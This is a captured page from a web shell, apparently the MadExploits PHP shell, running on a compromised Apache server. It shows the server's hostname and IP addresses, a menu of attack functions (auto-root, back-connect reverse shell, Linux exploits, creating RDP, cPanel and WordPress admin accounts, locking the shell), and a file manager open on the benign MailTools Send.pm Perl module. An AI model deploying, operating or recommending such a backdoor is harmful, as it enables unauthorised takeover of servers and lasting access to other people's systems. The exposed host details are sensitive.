Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
vendor_perl /
Mail /
[ HOME SHELL ]
Name
Size
Permission
Action
DKIM
[ DIR ]
drwxr-xr-x
Field
[ DIR ]
drwxr-xr-x
Mailer
[ DIR ]
drwxr-xr-x
SPF
[ DIR ]
drwxr-xr-x
Sender
[ DIR ]
drwxr-xr-x
SpamAssassin
[ DIR ]
drwxr-xr-x
Address.pm
6.83
KB
-rw-r--r--
Address.pod
4.07
KB
-rw-r--r--
Cap.pm
6.41
KB
-rw-r--r--
Cap.pod
3.78
KB
-rw-r--r--
DKIM.pm
3.01
KB
-rw-r--r--
Field.pm
4.92
KB
-rw-r--r--
Field.pod
4.91
KB
-rw-r--r--
Filter.pm
1.42
KB
-rw-r--r--
Filter.pod
2.82
KB
-rw-r--r--
Header.pm
13.8
KB
-rw-r--r--
Header.pod
7.76
KB
-rw-r--r--
Internet.pm
11.96
KB
-rw-r--r--
Internet.pod
10.24
KB
-rw-r--r--
Mailer.pm
4.92
KB
-rw-r--r--
Mailer.pod
3.86
KB
-rw-r--r--
SPF.pm
2.31
KB
-rw-r--r--
Send.pm
1.33
KB
-rw-r--r--
Send.pod
2.82
KB
-rw-r--r--
Sender.pm
99.77
KB
-rw-r--r--
Sendmail.pm
32.46
KB
-rw-r--r--
SpamAssassin.pm
69.57
KB
-r--r--r--
Util.pm
3.34
KB
-rw-r--r--
Util.pod
3.09
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Send.pm
# Copyrights 1995-2018 by [Mark Overmeer]. # For other contributors see ChangeLog. # See the manual pages for details on the licensing terms. # Pod stripped from pm file by OODoc 2.02. # This code is part of the bundle MailTools. Meta-POD processed with # OODoc into POD and HTML manual-pages. See README.md for Copyright. # Licensed under the same terms as Perl itself. package Mail::Send; use vars '$VERSION'; $VERSION = '2.20'; use strict; use Mail::Mailer (); sub Version { our $VERSION } #------------------ sub new(@) { my ($class, %attr) = @_; my $self = bless {}, $class; while(my($key, $value) = each %attr) { $key = lc $key; $self->$key($value); } $self; } #--------------- sub set($@) { my ($self, $hdr, @values) = @_; $self->{$hdr} = [ @values ] if @values; @{$self->{$hdr} || []}; # return new (or original) values } sub add($@) { my ($self, $hdr, @values) = @_; push @{$self->{$hdr}}, @values; } sub delete($) { my($self, $hdr) = @_; delete $self->{$hdr}; } sub to { my $self=shift; $self->set('To', @_); } sub cc { my $self=shift; $self->set('Cc', @_); } sub bcc { my $self=shift; $self->set('Bcc', @_); } sub subject { my $self=shift; $self->set('Subject', join (' ', @_)); } #--------------- sub open(@) { my $self = shift; Mail::Mailer->new(@_)->open($self); } 1;
Close
